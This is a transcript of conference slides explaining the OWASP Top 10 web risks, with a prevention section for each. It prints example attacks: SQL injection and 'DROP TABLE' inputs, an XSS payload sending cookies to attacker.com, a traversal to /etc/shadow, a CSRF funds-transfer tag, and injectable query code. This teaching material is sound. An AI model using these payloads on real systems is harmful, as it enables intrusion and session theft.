Identifying Risks and Vulnerabilities in your Web Application

Slides of the talk presented in vodQA Pune on 15 Nov 2014
(Presented by Samaj Shekhar and Ruchi Mutneja)

Transcript

1. Identifying Risks and Vulnerabilities in your Web Application OWASP Top 10
2. • Ruchi Mutneja App Dev @ Thoughtworks ruchimut@thoughtworks.com • Samaj Shekhar App Dev @ Thoughtworks samajs@thoughtworks.com Who are we...
3. Restricted vs Usable Security
4. Risks ?
5. OWASP TOP 10
6. 1 - Injection
7. Scenario http://example.com/app/accountView?id=5
8. User manipulates the request
9. http://example.com/app/accountView? id='or'1'='1 Scenario
10. String query = "SELECT * FROM accounts WHERE custID=‘" + request.getParameter("id") + ”’”;
11. String query = "SELECT * FROM accounts WHERE custID=‘’or‘1’=‘1’”;
12. String query = "SELECT * FROM accounts WHERE custID=‘’or‘1’=‘1’”;
13. Batched SQL Statements Scenario
14. SELECT * FROM Users; DROP TABLE Suppliers; Scenario
15. Blind trust in frameworks Scenario
16. Query HQLQuery = session.createQuery (“FROM accounts WHERE custID='“ + request.getParameter("id") + "'");
17. Prevention
18. Use ORM or DB layer with escaping logic
19. Use parameterized Queries
20. txtName = getRequestString("CustomerName"); txtSQL = "INSERT INTO Customers (CustomerName) Values(@0)"; db.Execute(txtSQL, txtNam);
21. declare @0 = ‘ThoughtWorks’; INSERT INTO Customers (CustomerName) Values(@0)";
22. Validation against ‘White listed’ Inputs
23. 2 - Broken Auth and Session Management
24. Scenario http://example.com/sale/saleitems/ jsessionid=12346789?dest=Hawaii
25. Authenticated Session without any timeout
26. Confidential data transmitted unencrypted
27. Use Cookie persisted sessions Prevention
28. Use Transport Layer Encryption SSL (Secure Socket Layer)
29. Expire session early often
30. IP Whitelisting
31. 3 - Cross-Site Scripting (XSS)
32. Scenario http://test.searchengine.com/search.php ?q=XSS%20Vulnerability
33. http://test.searchengine.com/search.php ?q=%3Cscript%3Ealert%28%91This%20is%20an% 20XSS%20Vulnerability%92%29%3C%2Fscript%3E
34. <script type="text/javascript"> alert ('This is an XSS Vulnerability') </script>
35. Scenario (String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
36. ‘><script>document.location= 'http://www. attacker.com/cookie.cgi ?foo='+document. cookie</script>'
37. Prevention
38. Prevention Never insert untrusted data in HTML
39. Escape untrusted JSON, JS or HTML before inserting
40. Sanitize HTML Markup with a Library Designed for the job
41. Use HTTPOnly Cookie
42. 4 - Insecure Direct Object References
43. Scenario http://misc-security.com/file.jsp? file=report.txt
44. http://misc-security.com/file.jsp? file=**../../../etc/shadow**
45. Prevention Use indirect reference maps
46. Use access controlled objects
47. 5 - Security Misconfiguration
48. Scenario Server with default admin console and credentials
49. Directory listing is enabled
50. Application configured to emit stack-trace giving malicious user extra information
51. Server initialized with stock applications with known security flaw
52. Prevention Update software periodically
53. Disabling unnecessary features
54. Periodic Scanning
55. Removing of unused accounts
56. 6 - Sensitive Data Exposure
57. Scenario Relying only on Database Encryption
58. Scenario Authenticated pages served without SSL
59. Scenario Unsalted sensitive data stored
60. Prevention Encryption at transport level (SSL/TLS)
61. Store sensitive data only when it is absolutely necessary
62. Store encrypted/hashed sensitive data with salt
63. 7- Missing Function Level Access Control
64. Scenario http://example.com/app/getappInfo http://example.com/app/admin_getappInfo
65. http://example.com/application? action=create http://example.com/application? action=delete
66. Ensure specific roles for access to every function Prevention
67. 8 - Cross-Site Request Forgery (CSRF)
68. http://bank.com/transferFunds? amount=1500&destAccount=12312 Scenario
69. Malicious user tricks the user in opening the image with forged link
70. <img src=”http://bank.com/transferFunds? amount=1500&destAccount=9999”/>
71. Prevention Checking referrer header
72. Checking origin header
73. Requiring the user to reauthenticate or prove they are a user
74. Use XSRF token
75. 9 - Using Compromised Components
76. Scenario Using libraries with known vulnerabilities
77. Passing security tests and acceptable licenses Prevention
78. 10 - Unvalidated Redirects and Forwards
79. Crafting a malicious URL redirects, performs phishing Scenario
80. http://example.com/redirect?url=amazon.com
81. The application uses forwards to route requests between different parts of the site
82. http://example.com/boring.jsp?fwd=admin.jsp
83. Avoid using redirects and forwards Prevention
84. Check supplied value is valid and authorized for the user
85. THANK YOU Questions ??